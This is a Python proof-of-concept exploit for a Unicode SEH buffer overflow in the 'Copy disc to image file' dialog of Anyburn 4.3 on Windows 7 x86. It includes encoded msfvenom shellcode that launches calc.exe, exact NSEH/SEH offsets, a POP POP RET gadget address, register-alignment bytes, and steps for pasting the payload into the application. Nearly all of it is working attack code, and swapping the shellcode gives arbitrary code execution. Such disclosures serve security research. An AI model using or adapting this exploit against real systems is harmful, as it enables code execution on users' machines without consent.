Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH)

#!/usr/bin/python
# Exploit Title:    Anyburn 4.3 - 'Copy disc to image file' Buffer Overflow - (UNICODE)(SEH)
# Version:          4.3
# Date:             07-03-2019
# Author:           Hodorsec ([email protected] / [email protected])
# Vendor Homepage:  http://www.anyburn.com/
# Software Link:    http://www.anyburn.com/download.php
# Tested on:        Win7 x86 SP1 build 7601
# Caveats:          - Heavy character expansion from byte range 0x80 until 0x9f. I've mapped the character translation for convenience.
#                   - Modify 'crash_nseh' and 'ret_jmp' variable offsets for different OS'es / servicepacks
#
# Character expansion mapping
# 80 --> 20ac, 81 --> 81
# 82 --> 201a, 83 --> 0192
# 84 --> 201e, 85 --> 2026
# 86 --> 2020, 87 --> 2021
# 88 --> 02c6, 89 --> 2030
# 8a --> 0160, 8b --> 2039
# 8c --> 0152, 8d --> 8d
# 8e --> 017d, 8f --> 8f
# 90 --> 90  , 91 --> 2018
# 92 --> 2019, 93 --> 201c
# 94 --> 201d, 95 --> 2022
# 96 --> 2013, 97 --> 2014
# 98 --> 02dc, 99 --> 2122
# 9a --> 0161, 9b --> 203a
# 9c --> 0153, 9d --> 9d
# 9e --> 017e, 9f --> 0178
# 
# PoC
# 1.) Generate sploit_anyBURN_seh_unicode.txt, copy the contents to clipboard
# 2.) In the application, open 'Copy disc to image file'
# 3.) Paste the contents of the TXT file in 'Image file name'
# 4.) Click "Create Now" and watch Anyburn BURN!

import sys, struct

filename = "sploit_anyburn_seh_unicode.txt"

# Maximum length
maxlen = 10000

# Shellcode
# msfvenom -p windows/exec cmd=calc.exe -e x86/unicode_mixed -f python -b "\x00\x0a\x0d" -v shellcode bufferregister=eax
# Size 512
shellcode =  ""
shellcode += "\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41"
shellcode += "\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41"
shellcode += "\x49\x41\x49\x41\x49\x41\x49\x41\x6a\x58\x41\x51"
shellcode += "\x41\x44\x41\x5a\x41\x42\x41\x52\x41\x4c\x41\x59"
shellcode += "\x41\x49\x41\x51\x41\x49\x41\x51\x41\x49\x41\x68"
shellcode += "\x41\x41\x41\x5a\x31\x41\x49\x41\x49\x41\x4a\x31"
shellcode += "\x31\x41\x49\x41\x49\x41\x42\x41\x42\x41\x42\x51"
shellcode += "\x49\x31\x41\x49\x51\x49\x41\x49\x51\x49\x31\x31"
shellcode += "\x31\x41\x49\x41\x4a\x51\x59\x41\x5a\x42\x41\x42"
shellcode += "\x41\x42\x41\x42\x41\x42\x6b\x4d\x41\x47\x42\x39"
shellcode += "\x75\x34\x4a\x42\x79\x6c\x39\x58\x35\x32\x6d\x30"
shellcode += "\x4b\x50\x6b\x50\x73\x30\x64\x49\x4b\x35\x4e\x51"
shellcode += "\x35\x70\x61\x54\x74\x4b\x6e\x70\x6e\x50\x64\x4b"
shellcode += "\x61\x42\x7a\x6c\x72\x6b\x62\x32\x6d\x44\x64\x4b"
shellcode += "\x44\x32\x6b\x78\x5a\x6f\x45\x67\x6f\x5a\x6b\x76"
shellcode += "\x4d\x61\x49\x6f\x34\x6c\x4f\x4c\x43\x31\x71\x6c"
shellcode += "\x39\x72\x4e\x4c\x4b\x70\x49\x31\x38\x4f\x4c\x4d"
shellcode += "\x6a\x61\x76\x67\x67\x72\x58\x72\x31\x42\x62\x37"
shellcode += "\x64\x4b\x50\x52\x7a\x70\x32\x6b\x4f\x5a\x4f\x4c"
shellcode += "\x42\x6b\x70\x4c\x6b\x61\x34\x38\x7a\x43\x51\x38"
shellcode += "\x6d\x31\x78\x51\x6f\x61\x52\x6b\x30\x59\x6f\x30"
shellcode += "\x4b\x51\x79\x43\x72\x6b\x4f\x59\x5a\x78\x68\x63"
shellcode += "\x6c\x7a\x30\x49\x62\x6b\x4e\x54\x42\x6b\x6b\x51"
shellcode += "\x4a\x36\x4c\x71\x6b\x4f\x44\x6c\x46\x61\x78\x4f"
shellcode += "\x4c\x4d\x69\x71\x56\x67\x6c\x78\x57\x70\x63\x45"
shellcode += "\x59\x66\x6a\x63\x51\x6d\x4a\x58\x4d\x6b\x71\x6d"
shellcode += "\x4e\x44\x52\x55\x4b\x34\x42\x38\x54\x4b\x4e\x78"
shellcode += "\x6b\x74\x79\x71\x79\x43\x53\x36\x74\x4b\x4a\x6c"
shellcode += "\x50\x4b\x34\x4b\x31\x48\x4d\x4c\x69\x71\x57\x63"
shellcode += "\x72\x6b\x4a\x64\x74\x4b\x69\x71\x78\x50\x31\x79"
shellcode += "\x50\x44\x6d\x54\x6c\x64\x71\x4b\x51\x4b\x70\x61"
shellcode += "\x72\x39\x70\x5a\x30\x51\x39\x6f\x6b\x30\x61\x4f"
shellcode += "\x31\x4f\x6f\x6a\x32\x6b\x4d\x42\x4a\x4b\x72\x6d"
shellcode += "\x4f\x6d\x51\x5a\x39\x71\x42\x6d\x75\x35\x75\x62"
shellcode += "\x4d\x30\x59\x70\x4d\x30\x70\x50\x33\x38\x6e\x51"
shellcode += "\x52\x6b\x42\x4f\x53\x57\x6b\x4f\x46\x75\x55\x6b"
shellcode += "\x6a\x50\x46\x55\x33\x72\x4f\x66\x62\x48\x66\x46"
shellcode += "\x72\x75\x65\x6d\x43\x6d\x39\x6f\x67\x65\x6d\x6c"
shellcode += "\x39\x76\x61\x6c\x4a\x6a\x31\x70\x59\x6b\x79\x50"
shellcode += "\x74\x35\x49\x75\x35\x6b\x6f\x57\x6e\x33\x72\x52"
shellcode += "\x62\x4f\x70\x6a\x39\x70\x42\x33\x39\x6f\x49\x45"
shellcode += "\x42\x43\x4f\x71\x52\x4c\x70\x63\x4c\x6e\x30\x65"
shellcode += "\x51\x68\x51\x55\x49\x70\x41\x41"

# Align reg EBP to RET into EAX
# EBP = 0x04f6acb8, Buffer = 0x04f6b70a, Buffer - EBP = 0x0a52 --> 0x0b00
align_ebp = (   
                "\x73"              # Padding
                "\x55"              # PUSH EBP
                "\x73"              # Padding
                "\x58"              # POP EAX
                "\x73"              # Padding
                "\x05\x0f\x11"      # "\x05\x00\x0f\x00\x11" # 05000f0011 add eax,0x11000f00 --\
                "\x73"              # Padding                                                   |--> Adds 0x0b00 bytes
                "\x2d\x04\x11"      # "\x2d\x00\x04\x00\x11" # 2d00040011 sub eax,0x11000400 --/
                "\x73"              # Padding
                "\x50"              # PUSH EAX
                "\x73"              # Padding
                "\xc3"              # RET
)

# Offsets
crash_nseh = 9197                                                   # NSEH, might be different on other Windows version/SP
crash_seh = crash_nseh + 4                                          # SEH
ret_jmp = 87                                                        # Offset for which the 'align_ebp' instructions land

# Variables
prefix = "\x73" * ret_jmp                                           # Padding
prefix += shellcode                                                 # UNICODE encoded shellcode
prefix += "\x73" * (crash_nseh - len(prefix))                       # Additional padding to reach NSEH
nseh = "\x83\x43"                                                   # 0x83 Expands to 0x0192 --> XCHG EAX,EDX # Expanded instruction in SEH now does get executed due to swapped regs
seh = "\x95\x47"                                                    # 0x00470095 Expands to 0x00472022 --> # POP POP RET # AnyBurn.exe
suffix = align_ebp                                                  # Align registers to jump to beginning of buffer
suffix += "\x73" * (maxlen - len(prefix + nseh + seh + suffix))     # Padding

# Crafting payload
payload = prefix + nseh + seh + suffix

# Create file
f = open(filename, 'wb')
f.write(payload)
f.close()